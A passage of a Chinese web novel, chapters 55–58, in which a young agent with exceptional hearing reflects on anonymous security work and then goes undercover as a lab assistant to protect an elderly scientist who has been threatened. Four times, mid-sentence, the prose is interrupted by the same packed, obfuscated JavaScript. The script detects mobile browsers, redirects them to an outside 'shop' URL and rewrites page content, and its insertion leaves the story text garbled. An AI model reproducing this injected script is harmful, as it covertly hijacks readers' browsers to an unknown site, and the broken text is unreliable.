“就知道你会愿意。”周局长微笑,“但你要知道,这份工作不会给你带来多少掌声和荣誉,很多时候甚至不为人知。它需要耐心,需要同理心,需要你在看到人间疾苦后,依然保持行动的勇气。” “我明白。”杨晓晓郑重地说,“能帮助到那些需要帮助的人,本身就是最大的回报。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191494|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。”周局长点头,“下周一会有相关培训。记住,这个岗位最重要的品质,就是在坚守法律底线的同时,不失人性的温度。” --- 傍晚时分,特保局宿舍区的小活动室里飘出食物的香气。 雷昊不知从哪搞来一个小烤炉,正兴致勃勃地烤着肉串。熊毅在一旁切水果、拌沙拉,动作熟练得像专业厨师。林墨在摆碗筷,看到杨晓晓进来,眼睛亮了一下。 “晓晓回来啦!”雷昊举起手里的肉串,“快来尝尝我的秘制烤串,保证好吃!” “你先别吹牛,”熊毅面无表情地说,“上次你烤的鸡翅,里面还没熟。” “那是意外!意外!”雷昊抗议。 杨晓晓看着这热闹的场景,心里那股沉重感慢慢消散了。她洗了手,加入准备晚餐的行列。 “周局长找你什么事?”熊毅一边切西红柿一边问。 杨晓晓把新的职责任命说了。雷昊一听就乐了:“可以啊晓晓!这工作太适合你了!你心思细,又能听见别人听不见的声音,肯定能发现那些需要帮助的人。” “我也觉得适合。”林墨小声说,“晓晓一直很关心别人。” 熊毅点点头,递给她一盘刚拌好的沙拉:“支持你。” “谢谢大家。”杨晓晓心里暖暖的。 晚餐准备好后,四个人围坐在小桌旁。窗外的天色渐渐暗下来,城市的灯火一盏盏亮起。 “来,为我们的小队,为妞妞能康复,为晓晓的新职责——”雷昊举起果汁杯,“干杯!” “干杯!” 杯盏相碰,清脆的声响里满是温暖。 吃饭间,大家聊着各自的近况。雷昊说起他正在改造的新设备,熊毅提到周末想去爬山,林墨小声说他想学烘焙。杨晓晓听着这些平常的对话,心里感到一种踏实的幸福感。 生活就是这样吧——有沉重的案件,有无奈的悲剧,但也有热腾腾的饭菜,有队友的陪伴,有值得期待的未来。 “对了,”雷昊忽然想起什么,“下周末我生日,咱们怎么过?” “你想要什么礼物?”熊毅直接问。 “我想想啊……”雷昊摸着下巴,“要不咱们去露营?好久没看星星了。” “可以。”熊毅点头。 “我……我也想去。”林墨说。 杨晓晓笑了:“那就这么定了。雷昊生日,小队露营看星星。” “耶!”雷昊开心得像个孩子。 饭后,大家一起收拾餐具。杨晓晓站在水池边洗碗,看着窗外宁静的夜色,忽然想起妞妞病房窗台上的那盆绿萝——在白色的病房里,那抹绿色显得格外生机勃勃。 生命就是这样,即使在最艰难的环境里,也在努力生长,向着光亮。 而她,愿意成为那缕光的一部分。 用她的耳朵,去倾听那些微弱的声音。 用她的心,去感受那些深藏的痛。 用她的行动,去帮助那些需要帮助的人。 这是她的选择,也是她的责任。 “晓晓,发什么呆呢?”雷昊的声音把她拉回现实,“快来吃水果,熊毅切了西瓜!” “来了!”杨晓晓擦干手,走向客厅。 灯光温暖,队友的笑脸亲切。 窗外的城市安宁祥和。 她知道,这一切的和平与温暖,需要有人去守护。 而她,正是守护者中的一员。 这就够了。 明天,又是新的一天。 有训练,有任务,有挑战。 但也有早餐的香气,队友的问候,和值得守护的一切。 她会坚定地走下去。 和她的团队一起。 55. 公众面前的“普通人” 周五晚上七点半,特保局活动室。 杨晓晓盘腿坐在略显陈旧的布艺沙发上,手里捧着一盒刚热好的速食便当,眼睛盯着墙上的电视屏幕。 电视正播放着江城本地新闻。女主播用平稳的语调报道三天前的便利店劫持事件:“……警方在接到报警后八分钟内赶到现场,成功解救五名人质,当场抓获两名犯罪嫌疑人……” 画面切到便利店门口。警戒线已经撤除,玻璃门重新擦得透亮,那个微胖的店主正站在店门口接受采访,脸上带着劫后余生的笑容。 “真的要感谢警察同志!”店主对着镜头,声音有些激动,“他们来得特别快,特别专业。特别是谈判专家,一直耐心地跟我们沟通……” 杨晓晓慢慢咀嚼着口中的米饭。透过电视扬声器传来的声音有些失真,但她依然能听出店主话语里那份真诚的感激——以及彻底放松后难以掩饰的细微颤抖。 她想起三天前在指挥车里听到的那些声音:店主剧烈的心跳,急促的呼吸,金属物品抵住什么东西时冰冷的摩擦声。而现在,同一个人站在明媚的阳光下,对着摄像机表达谢意。 电视画面转向几名穿着警服的警官,他们正在接受上级的表彰。镜头扫过他们的脸——坚毅、沉稳,带着职业性的谦逊和一丝疲惫。 画面里没有特保局的任何身影。 “呵。”旁边的单人沙发上,雷昊也端着一盒便当,看着电视撇了撇嘴,“虽然是警察先到现场控制外围,我们后到处理核心问题……结果功劳全是他们的。” 熊毅坐在靠窗的椅子上,正用一块软布保养着一副战术手套。他头也不抬,声音平静:“警察确实先到了。他们控制了现场外围,疏散了群众,建立了警戒线。没有这些前期工作,我们进不去。” “我知道。”雷昊舀了一大勺饭塞进嘴里,含糊不清地说,“就是觉得……咱们小队那天也够拼的。晓晓的监听,大熊你的外围警戒,墨墨和谈判专家的配合——结果连个‘协助单位’的标签都没有。” 林墨从活动室的小冰箱里拿出几罐饮料,安静地分给大家。他在杨晓晓旁边的地毯上坐下,拉开易拉罐:“其实这样最好。新闻报道聚焦在警方公开行动上,我们的存在完全被掩盖了。这意味着后续工作会更安全。” 杨晓晓接过饮料,是蜜桃味的汽水,甜度刚好。她盯着电视上那些接受表彰的警察,心里涌起一种奇特的感受——不是失落或嫉妒,更像是见证了一个精心编排的叙事如何在公众面前展开。 她知道真相的另一个版本:警察第一时间赶到,控制现场,建立防线。然后他们特保局的车才悄无声息地驶入后方,她和队友们迅速进入指挥位置。警察在明处吸引注意力,他们在暗处处理真正的危机。 但现在呈现在公众面前的,是一个完整、流畅、令人安心的故事:警方迅速反应,专业处置,危机解除。 “感觉怎么样?”熊毅忽然抬头看向她。 杨晓晓想了想,认真地说:“感觉……很专业。各个环节衔接得很自然,公众得到了一个完整可信的叙事,而我们继续隐在幕后。这是最理想的结果。” 雷昊把空便当盒放到茶几上,向后靠在沙发背上:“陈头以前说过,最好的行动就是行动结束后,没人知道我们存在过。” 话音刚落,活动室的门被推开,陈树走了进来。他手里拿着一份文件夹,扫了眼电视屏幕——此刻正播放着下一条关于城市绿化的新闻。 “训练时间看电视?”陈树语气平淡。 “刚看完便利店那事的报道,休息一下。”雷昊赶紧坐直身体。 陈树没多说什么,走到杨晓晓面前递过文件夹:“下周的任务前准备资料。你需要提前熟悉目标区域的声学环境。” 杨晓晓接过文件夹翻开。里面是几张建筑平面图和声学分析报告,标注了不同位置的混响时间、背景噪声等级和可能的听觉盲区。 “这次是剧院环境。”陈树补充道,“演出期间观众席噪音复杂,你需要能在数百人的咳嗽、低语、座椅响动中分辨出特定声源。” “明白了。”杨晓晓合上文件夹,“我会提前做噪声样本分析。” 陈树点点头,目光扫过电视屏幕——现在正播着一档家庭调解节目。他的嘴角几不可察地动了一下:“新闻看到了?” “看到了。”杨晓晓说,“处理得很干净。” “警察做得很好。”陈树语气里有一丝认可,“他们完成了他们的工作,我们完成了我们的。现在市民感到安全,媒体有正面报道,劫匪得到法律制裁,受害者和家属得到心理疏导——每个环节都到位了。” 他顿了顿,看向活动室里的四个人:“记住,我们工作的最高评价不是表彰,而是‘一切如常’。当一场危机过后,人们继续上班、购物、看电视、讨论周末计划——那就说明我们做对了。” 说完,他转身离开。走到门口时回头:“明天下午4点,听力专项训练。杨晓晓,你需要加练高噪声环境下的语音分离。” “是。” 门轻轻关上。活动室里安静了片刻,只有电视里调解节目的背景音乐还在流淌。 “陈头说得对。”林墨轻声开口,“‘一切如常’就是最好的结果。” 雷昊挠挠头:“我就是偶尔会想,要是哪天也能穿着制服站在镜头前……” “那你就选错职业了。”熊毅终于保养完手套,将它们整齐地收进装备包,“我们选择在暗处,是为了让更多人能安心活在明处。” 杨晓晓小口喝着汽水,品味着陈树的话。是的,“一切如常”。便利店重新营业,顾客照常进出,店主继续他的小本生意,市民晚上坐在家里看新闻——这种平凡到几乎被忽视的日常,正是他们工作的意义。 而为了守护这种“如常”,他们必须接受自己的“不被看见”。 --- 周一早晨,深蓝科技行政部。 杨晓晓刚在工位坐下,王姐就端着咖啡凑过来:“晓晓,看了上周末那个便利店劫持案的新闻没?” “看了。”杨晓晓打开电脑,登录办公系统,“挺吓人的。” “何止吓人!”王姐压低声音,“我表妹的朋友当时就在那条街上,说看到好多警车,特警都出动了。不过警察处理得真快,没一会儿就解决了。” 旁边几个同事也围了过来。财务部的小赵说:“我看了采访,那个谈判专家真厉害,听说把劫匪都说哭了。” 技术部的小李推了推眼镜:“从现场流出的有限视频分析,警方的战术布置很合理。你看这个警车停靠的角度,既能封锁路口,又不影响后续车辆进入……” 大家七嘴八舌地讨论着,语气里有后怕,更有对警方专业能力的钦佩。 杨晓晓安静地听着,手指在键盘上敲击,处理着本周的会议安排。她听到同事们声音里的情绪——那是普通市民对守护者的天然信任,对“有人会在危机时刻挺身而出”的基本信心。 而她,就是那些“挺身而出”的人之一。尽管无人知晓。 “对了晓晓,”王姐忽然转向她,“你耳朵那么灵,要是遇到这种事,是不是能提前听出不对劲? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而为了守护这些,她愿意继续做个“普通人”。 一个有着特殊听力、却选择隐藏于市的普通人。 一个在危机时刻会戴上专业耳机、在日常中会抱怨地铁拥挤的普通人。 一个在同事热烈讨论新闻时只是安静倾听、永远不会说出“那天我也在”的普通人。 口袋里的手机震动了一下。杨晓晓掏出来看,是加密通讯软件的消息: 雷昊:晓晓!下周任务的剧院声场模拟文件发你了,记得下载。 熊毅:训练室已预约,明天下午四点。 林墨:我找到了目标人物过往公开演讲的音频资料,已上传至共享空间。 杨晓晓快速回复: 杨晓晓:收到,谢谢各位。 然后她锁上手机屏幕,抬头看向窗外。 阳光正好,街道上车流如织。对面的写字楼玻璃幕墙反射着清晨的光芒,行人步履匆匆,外卖电瓶车在车流间灵活穿行。 一切如常。 而她知道,为了这份“如常”,有多少像她一样的人,正安静工作在光与影的交界处。 “晓晓,你的奶茶,三分甜去冰加椰果对吧?”小赵把一杯奶茶放到她桌上。 “谢谢。”杨晓晓接过,吸管戳破封膜的声音清脆悦耳。 她喝了一口,甜度刚好。 就像此刻的生活——有隐藏在幕后的重量,也有握在手心的甜暖。 而她,正在学习如何平衡两者。 做一个既能听见这个世界最细微声响、又能全然享受平凡日常的“普通人”。 一个在暗处守护光明、在明处归于平凡的“普通人”。 这或许,就是她选择这条路最深刻的意义。 56. 周局长的特别任务 第三天上午九点整,杨晓晓准时出现在特保局地下三层的简报室。 推开门,她发现自己是最后一个到的。熊毅和林墨已经坐在长桌一侧,雷昊在调试墙上的投影设备。周正浩局长坐在主位,面前摊开一个文件夹。陈树站在他身后,朝杨晓晓点了点头。 “坐。”周局长抬了抬手,语气是一贯的沉稳。 杨晓晓在林墨旁边坐下,心跳有点快。这是她第一次参加周局长亲自布置的任务简报。 “人到齐了,开始吧。”周局长打开文件夹,“这次是B级保护任务,目标人物:沈瀚林,72岁,材料学专家,国家‘启明计划’首席科学家。” 投影屏亮起,出现一位老人的照片——花白头发,戴老式眼镜,穿着洗得发白的中山装,正站在实验室里对着某个仪器微笑。照片里的他眼神专注,嘴角带着孩子般的好奇。 “沈老最近收到三封威胁信。”周局长切换图片,是信件照片,“内容一致:要求他停止‘K-7材料’的研究,否则‘后果自负’。信是打印的,没有指纹,投递地点分别是他的住所邮箱、实验室信箱和常去的图书馆。” 杨晓晓盯着那些信件。文字的排版很整齐,用的是常见的宋体,内容简短而冰冷。 “技术分析显示,信纸和墨粉都是国内常见品牌,无法追踪。”雷昊接话,操作电脑调出分析数据,“但投递时间的把握很精准——都是在沈老常去那些地方的时间段。” “这意味着对方在观察他。”林墨轻声说。 熊毅双手抱胸,眉头微皱:“直接威胁科学家……不是普通手段。” “所以我们判断,这背后可能是境外势力或商业间谍。”周局长合上文件夹,“沈老的‘K-7材料’研究如果成功,能在航空航天领域带来革命性突破。有人不希望我们看到这个突破。” 简报室里安静了几秒。 “任务要求。”周局长看向众人,“第一,保护沈老的人身安全,确保研究顺利进行。第二,查明威胁来源,必要时实施抓捕。第三——”他的目光落在杨晓晓身上,“不能让沈老察觉自己被保护,以免造成恐慌或影响研究进度。” 杨晓晓坐直身体。 “杨晓晓。”周局长点名,“你是这次监听任务的主力。你需要以‘新招的研究助理’身份进入实验室,24小时监听环境,但不能让任何人——包括沈老——发现你在执行保护任务。能做到吗?” 杨晓晓咽了口唾沫:“我……我尽量。但是周局长,我对材料学一窍不通,伪装研究助理会不会……” “资料已经准备好了。”陈树递过来一个厚厚的文件夹,“沈老实验室的基础知识、常用术语、仪器名称。你有48小时时间熟悉。另外,沈老招助理主要看眼缘和态度,专业程度要求不高——他喜欢亲自教新人。” 杨晓晓接过文件夹,翻开第一页就看到密密麻麻的化学公式,眼前一黑。 “船到桥头自然直。”她小声嘀咕。 周局长眼里闪过一丝笑意:“任务分工:杨晓晓贴身监听;林墨负责实验室外围警戒,伪装成物业维修工;熊毅负责住所安保;雷昊技术支援,监控所有通讯和网络;我亲自协调。” “任务周期?”熊毅问。 “暂定两周,视情况调整。”周局长站起身,“沈老明天下午会在实验室面试助理——杨晓晓,那是你的机会。陈树会安排好你的背景资料。” 会议结束后,杨晓晓抱着文件夹走出简报室,感觉手里的重量比看上去还沉。 “紧张?”林墨走到她身边,温和地问。 “有点。”杨晓晓老实承认,“我没伪装过别人,更别说还要在科学家面前装研究助理……万一露馅怎么办?” “记住三点。”林墨竖起手指,“第一,沈老人很好,但有点固执。他讨厌别人不懂装懂,所以你宁可说‘这个我不太明白’,也别胡编。第二,他实验室规矩多,但都是为了安全。第三——”他笑了笑,“他耳朵有点背,你说话得稍微大声点。” 杨晓晓眨眨眼:“耳朵背?” “年纪大了,加上常年待在噪音环境里。”林墨解释,“所以你的监听反而更方便——正常说话音量他可能听不清,但你能听清周围一切。” 这倒是个意外优势。 回到宿舍,杨晓晓翻开文件夹,开始恶补材料学知识。两小时后,她瘫在桌子上,眼前漂浮着各种晶体结构图和化学式。 手机震动,是雷昊发来的消息:“别死磕理论。沈老实验室的主要仪器清单和基本操作我发你了,看那个更实用。” 紧接着发来一个压缩包。杨晓晓下载打开,里面是图文并茂的仪器介绍,还有雷昊贴心的备注:“这个机器沈老叫它‘大铁罐’,实际学名叫‘高温高压反应釜’。”“这个‘嗡嗡怪’是真空镀膜机,开起来声音很大,你到时候记得戴耳塞——哦对,你不需要。” 杨晓晓忍不住笑了。她继续往下翻,看到最后一条备注:“对了,沈老喜欢喝茶,但只喝最便宜的茉莉花茶。实验室有个旧暖水瓶,他每天自己泡。你要是想套近乎,可以帮他洗暖水瓶——但他可能会嫌你洗得不干净。” 这些细节让她对那位素未谋面的老科学家有了具体的想象。 第四下午两点,江城材料科学研究院,三楼307实验室门口。 杨晓晓穿着简单的白衬衫和深色裤子,头发扎成马尾,手里拿着伪造的简历——上面写着她是一所普通大学的化学专业毕业生,之前在小化工厂做质检员,因为“对科研有向往”所以来应聘助理。 她深吸一口气,敲了敲门。 “进来。”里面传来略显苍老但中气十足的声音。 推开门,杨晓晓首先闻到的是混合的气味:化学试剂的微酸,旧纸张的霉味,还有淡淡的茶香。实验室比她想象中拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191496|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤,各种仪器密密麻麻地摆放着,墙上贴着发黄的图表和数据记录。窗户边,一位老人正俯身观察显微镜。 听到脚步声,老人抬起头。是照片上的沈瀚林,但真人看起来更瘦小,眼镜片后的眼睛却异常明亮。 “沈老师好,我是来面试助理的杨晓晓。”杨晓晓尽量让自己声音听起来自然。 沈老上下打量她几秒,指了指旁边的凳子:“坐。简历放那儿。”他指了指堆满纸张的桌子一角。 杨晓晓照做,坐下时注意到沈老的手指——关节粗大,皮肤粗糙,指甲缝里还有洗不掉的细微污渍,是常年接触试剂留下的痕迹。 “为什么想来我这里?”沈老头也不抬地问,继续调整显微镜。 “我……我对材料科学感兴趣。”杨晓晓按照准备好的说辞回答,“之前在化工厂工作,觉得流水线生产没意思,想接触真正的科研。” “科研?”沈老终于转过头看她,眼神锐利,“我这儿可没你想象的那么高大上。每天就是重复实验、记录数据、清洗仪器,可能几个月都出不来一个结果。枯燥得很。” “我不怕枯燥。”杨晓晓说,这是真心话——比起在办公室听各种八卦,她确实更愿意待在相对单纯的环境里。 沈老盯着她看了几秒,突然问:“知道‘相变’是什么意思吗?” 杨晓晓脑子里飞快闪过昨晚看的概念:“物质从一种状态转变为另一种状态,比如冰融化成水。” “简单来说是这样。”沈老点点头,似乎还算满意,“行了,试用期一周。工资不高,活儿不少,能接受就明天早上八点来。” 杨晓晓愣住了:“这就……录用了?” “不然呢?”沈老奇怪地看她,“我这儿又不是大公司,还搞三轮面试?我看你眼神还算老实,不像那些一来就问我‘论文能挂名吗’的聪明人。”他哼了一声,“我讨厌聪明人,太会算计。” 杨晓晓一时不知该说什么。 “明天记得带个笔记本,我说话快,你得跟得上。”沈老摆摆手,“走吧,我要做实验了。” 走出实验室,杨晓晓在走廊里站了几秒,然后按下藏在衣领下的微型通讯器:“陈总监,我……被录用了。” “听到了。”陈树的声音传来,“沈老就这个风格。明天开始正式任务,记住,你的首要目标是监听环境异常,其次才是助理工作。” “明白。” 杨晓晓回头看了一眼307实验室紧闭的门。透过门,她能听到沈老轻轻的哼歌声——是首很老的革命歌曲,跑调跑得厉害。 还有仪器运行时细微的嗡鸣,纸张翻动的声音,暖水瓶里开水冷却时极轻的“咔”声。 以及,在她听力范围边缘,某个角落传来的、极其轻微的电子设备待机声。 她不动声色地走向楼梯,把那个声音的频率和位置记在心里。 任务开始了。 57. 实验室里的暗流 早上七点五十,杨晓晓准时出现在307实验室门口。 她手里提着两个袋子:一袋是陈树准备的“入职用品”——新笔记本、几支笔、一个计算器;另一袋是她自己买的,里面装着沈老喜欢的那种茉莉花茶,还有一包独立包装的小茶饼。 敲门前,她深吸一口气,调整了一下藏在耳朵里的微型接收器——这是雷昊特制的,外观像普通无线耳机,实际上能让她随时与指挥中心保持联络,同时不干扰她的自然听力。 “进来。”沈老的声音传来,比昨天更沙哑了些。 推开门,实验室里已经有人了。除了沈老,还有两个年轻人,一男一女,正围在实验台前讨论什么。见到杨晓晓,他们停下来,好奇地打量她。 “新来的助理,小杨。”沈老头也不抬地介绍,“这两个是我的学生,赵磊,刘静。以后你有什么不懂的,可以先问他们——当然,问我最好。” 赵磊是个戴眼镜的瘦高个,友好地笑了笑:“欢迎。沈老师这里终于有专职助理了,我们也能轻松点。” 刘静看起来更文静,只是点点头,继续低头记录数据。 “今天你的任务。”沈老指指墙角的一排玻璃器皿,“把所有烧杯、试管、培养皿洗干净,用蒸馏水冲三遍,烘干,分类放好。洗的时候注意看有没有裂纹——上次赵磊打碎了一个100毫升的量筒,扣了他半个月补助。” 赵磊尴尬地推了推眼镜。 杨晓晓点头:“好的。” 她走到水池边,戴上橡胶手套,开始清洗器皿。水流的哗啦声、玻璃碰撞的清脆声、烘干机的低鸣……这些声音交织在一起,形成实验室的背景音。而在这之下,杨晓晓分出一部分注意力,开始系统性地监听整个环境。 首先是实验室内部:沈老的呼吸平稳但略显急促,有心律不齐的迹象;赵磊在操作离心机时手指有细微颤抖,似乎紧张;刘静记录数据时笔尖划过纸张的速度很快,偶尔停顿,像是在思考。 然后是实验室外部:走廊里有脚步声,时远时近;楼下某间实验室传来仪器报警声,很快被关闭;更远处,研究院大门口保安在闲聊,内容是关于昨晚的足球赛。 一切听起来都很正常。 直到上午十点左右。 杨晓晓正在擦拭最后一个烧杯,耳朵忽然捕捉到走廊尽头楼梯间里的声音——压得很低的对话声,两个人。 “……数据肯定有问题,他那个重复实验的结果太完美了……” “你确定?沈老可不是会造假的人。” “我不是说他造假,我是说……可能有无意识的选择性记录。你知道的,人总是倾向于记住符合预期的数据……” 声音逐渐远去。杨晓晓记住了这两个声音的特征:一个音调较高,语速快;一个低沉,带着犹豫。 她继续手里的工作,但心里记下了这个信息:实验室里可能存在着数据争议。 中午,沈老从旧暖水瓶里倒出已经凉了的茉莉花茶,就着馒头当午餐。杨晓晓犹豫了一下,拿出自己带的小茶饼:“沈老师,我这有独立包装的,您要尝尝吗?” 沈老瞥了一眼,摇头:“喝惯了那种,别的没味。”他咬了口馒头,含糊地说,“你们年轻人就喜欢这些花里胡哨的。” 杨晓晓也不介意,自己泡了杯茶。茶叶在热水中舒展,发出极细微的嘶嘶声。她忽然想起什么,问:“沈老师,您做这行多少年了?” 沈老咀嚼的动作顿了顿:“从大学毕业算起……五十年零三个月。”他喝了口茶,“那时候条件比现在苦多了,仪器都是二手的,试剂得省着用。哪像现在……”他看了眼实验室里崭新的光谱仪,那是院里去年才配的。 “那您为什么一直坚持?”杨晓晓问。这问题一半是好奇,一半是任务需要——了解保护对象的动机和性格。 沈老沉默了几秒,指了指墙上贴着一张发黄的图纸:“看见那个了吗?” 杨晓晓看过去,那是一张手绘的晶体结构图,线条已经模糊,但标注依然清晰。 “那是我博士毕业时画的,我导师说这个结构不可能稳定存在。”沈老声音很平静,“我不信,做了三十年实验,失败了成百上千次。直到十年前,我第一次在电子显微镜下看到它——虽然只稳定了零点三秒。” 他转过头,眼镜片后的眼睛亮得惊人:“就为了那零点三秒,三十年都值。” 杨晓晓忽然觉得鼻子有点酸。她想起自己之前的人生——上班、下班、吐槽、盼周末,最大的烦恼是奶茶长胖和绿萝又死了。而眼前这位老人,用了半个世纪的时间,就为了捕捉某个物质存在零点三秒的证据。 “很傻吧?”沈老笑了,露出不太整齐的牙齿。 “不。”杨晓晓摇头,“很了不起。” 下午的实验出了点小意外。赵磊在配置溶液时算错了浓度,导致反应异常,产生了一小股刺鼻气体。沈老立刻指挥大家开通风橱,自己却第一个冲过去处理废液。 “沈老师,我来吧!”赵磊慌了。 “站远点,这气体有毒。”沈老的声音很严厉,但动作稳而快。他戴着简易防毒面具,手法熟练地中和溶液,处理废弃物。整个过程不到五分钟。 事后,沈老把赵磊叫到一边,没有大声斥责,而是拿出纸笔,重新讲解浓度计算公式。“科学容不得马虎,”他说,语气是罕见的温和,“你这次错的是数据,下次可能就是安全。” 赵磊低着头,肩膀微微颤抖。 杨晓晓在一旁清洗工具,听到了赵磊极轻的抽泣声,还有沈老拍他肩膀时布料摩擦的声音。 傍晚六点,该下班了。刘静和赵陆续离开,沈老却还坐在显微镜前。 “沈老师,您还不走吗?”杨晓晓问。 “还有个数据要复核,你们先走。”沈老摆摆手,“记得锁门。” 杨晓晓收拾好东西,走出实验室。但她没有离开研究院,而是按照陈树的指示,来到隔壁楼的一间临时监听室——这里已经布置好设备,能让她在不上班时间继续监控307实验室。 雷昊已经在里面了,面前是三块显示屏,分别显示着实验室不同角度的监控画面——都是隐蔽摄像头拍摄的。 “感觉如何?”雷昊递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191497|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她一瓶水。 “沈老人很好。”杨晓晓接过水,“但实验室里……可能有些内部问题。我听到有人在议论数据争议。” 雷昊点头:“我们也监听到了类似对话。是研究院另一个课题组的人,他们在竞争下个季度的经费。”他调出一份资料,“领头的是个叫孙志远的副教授,四十岁,海外留学回来,作风比较……激进。” 杨晓晓皱眉:“他会构成威胁吗?” “目前看只是学术竞争,但我们会盯着。”雷昊敲击键盘,“你今晚的任务是监听沈老下班后的实验室环境。他已经连续三天工作到凌晨了。” 杨晓晓戴上专业耳机,将注意力集中到307实验室。 她听到了沈老平稳的呼吸声,仪器低鸣,还有笔尖在纸上书写的沙沙声。偶尔,沈老会自言自语:“这个峰值不对……温度再调高零点五度试试……” 晚上九点,沈老接了个电话。杨晓晓立刻调高灵敏度。 “……知道了,我会注意。”沈老的声音听起来很疲惫,“材料我会按时交,你放心。至于那些信……不用管,搞科研的谁没收到过几封威胁信?” 电话那头的人似乎很激动,声音透过听筒隐约传来:“……不能大意……已经报警……” “报警有什么用?”沈老叹气,“他们又不能24小时守着我。行了,我要做实验了。” 电话挂断。 杨晓晓和雷昊对视一眼。 “是研究院院长打来的。”雷昊已经追踪了号码,“沈老没把威胁信的事告诉太多人,连院长都只是简单提过。” 凌晨一点,沈老终于离开实验室。杨晓晓听到锁门声,脚步声渐行渐远。她摘下耳机,揉了揉发胀的太阳穴。 “第一天,感觉怎么样?”陈树的声音从通讯器传来——他一直在远程监听。 “沈老比想象中更……执着。”杨晓晓说,“我有点明白为什么要保护他了。” “嗯。”陈树顿了顿,“明天继续。另外,熊毅那边已经完成住所安全检查,林墨在研究院外围布控完毕。你现在是沈老最近的一道防线,记住你的职责。” “明白。” 走出监听室,夜空中有稀疏的星星。杨晓晓抬头看了一眼,忽然想起沈老说的“为了零点三秒,三十年都值”。 她拿出手机,给陈树发了条消息:“陈总监,我一定会保护好他。” 几秒后,回复来了:“早点休息,明天任务继续。” 杨晓晓收起手机,朝宿舍走去。夜风吹过,带着初夏的微凉。她想起白天沈老冲过去处理危险气体时的背影,想起他拍赵磊肩膀时粗糙的手,想起他说“科学容不得马虎”时的严肃表情。 这位老人用半个世纪的时间,追逐着某个物质存在零点三秒的证据。 而她现在的任务,是确保他能继续追逐下去。 “问题不大。”她轻声对自己说,脚步变得坚定。 实验室里的暗流,学术上的争议,潜在的威胁——这些她都会一一监听,一一分辨,一一应对。 因为有些人,值得被保护。 58. 真正的威胁浮现 任务进入第七天,杨晓晓已经基本适应了双重生活:白天是笨手笨脚但认真的研究助理,晚上是高度专注的监听员。 她学会了正确清洗十七种不同规格的玻璃器皿,记住了实验室二十三种常用试剂的存放位置,甚至能帮沈老调试那台老掉牙的电子天平——虽然每次调完沈老都会亲自再检查一遍。 “你学东西倒是不慢。”某天下午,沈老难得地夸了一句,虽然语气还是淡淡的。 杨晓晓正在记录一组温度数据,闻言笑了笑:“是沈老师教得好。” 这是实话。沈老教学的方式很特别——他不会系统地讲解理论,而是在实际操作中随时指出问题:“这个温度升太快了,材料会应力开裂。”“搅拌速度不对,你看溶液漩涡的形状。” 杨晓晓发现,科学在沈老那里不是书本上的公式,而是手感和经验,是眼睛看到的细微变化,甚至是耳朵听到的声音差异。 “听到没?”有一次,沈老让她凑近反应釜,“正常的反应应该是这种‘嗡嗡’声,如果变成‘咔咔’声,说明有结晶析出太快了。” 杨晓晓确实听到了。她的能力让她能分辨出那些常人难以察觉的细微差异。这让她在助理工作上意外地得心应手——虽然她依然看不懂那些复杂的化学式。 但任务并非一帆风顺。 第三天晚上,杨晓晓在监听时捕捉到了异常的网络活动。雷昊那边的监控显示,有人试图远程访问研究院的服务器,虽然被防火墙拦下,但攻击手法很专业。 “是试探。”雷昊在通讯频道里说,“对方在找漏洞。” 第五天,沈老收到第四封威胁信。这次不是邮寄,而是直接塞进了他常去的图书馆那本《材料科学基础》里。信的内容升级了:“最后一次警告。停止K-7研究,否则你将看到严重后果。” 熊毅调取了图书馆监控,发现投信者戴着帽子和口罩,身高大约一米七五,男性,走路时右腿有轻微拖沓。但出了图书馆范围就消失在了监控盲区。 “专业手法。”林墨分析,“知道避开主要监控点。” 压力在无形中累积。杨晓晓注意到沈老最近失眠——她在监听时听到他夜里频繁翻身,偶尔还有压抑的咳嗽声。但白天在实验室,老人依然精神集中,只是眼下的黑眼圈越来越深。 第七天晚上,真正的威胁终于浮出水面。 当时是晚上十一点,杨晓晓在临时监听室值班。沈老还在实验室——这已经是他连续第七天工作到深夜。 雷昊突然敲击键盘的声音变得急促:“晓晓,注意!实验室网络有异常数据流!” 杨晓晓立刻戴上耳机,将听力集中到307实验室。她听到了计算机主机运行的正常嗡鸣,仪器运转声,沈老写字的沙沙声——等等。 还有一个声音。 极细微的、高频的电子音,像是某种无线传输设备在工作。 “雷哥,实验室里有未知电子设备在发送信号。”她立刻汇报,“频率很高,不是常规仪器发出的。” 